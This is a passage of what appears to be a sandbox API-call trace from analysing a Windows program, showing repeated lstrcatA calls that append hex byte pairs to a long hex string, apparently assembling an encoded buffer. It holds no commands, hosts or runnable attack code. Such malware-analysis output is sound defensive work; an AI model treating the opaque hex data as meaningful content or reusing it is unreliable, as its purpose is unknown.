	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c07", lpString2="55" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755", lpString2="30" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c075530") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c075530"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c075530", lpString2="24" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c07553024") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c07553024"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c07553024", lpString2="77" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477", lpString2="b2" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b2") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b2"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b2", lpString2="52" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b252") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b252"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b252", lpString2="57" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257", lpString2="e3" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e3") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e3"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e3", lpString2="54" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354", lpString2="27" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e35427") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e35427"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e35427", lpString2="6c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c", lpString2="41" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c41") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c41"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c41", lpString2="11" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111", lpString2="a1" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1", lpString2="84" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a184") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a184"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a184", lpString2="0f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840f"
	[0061.658] GetLastError () returned 0x0
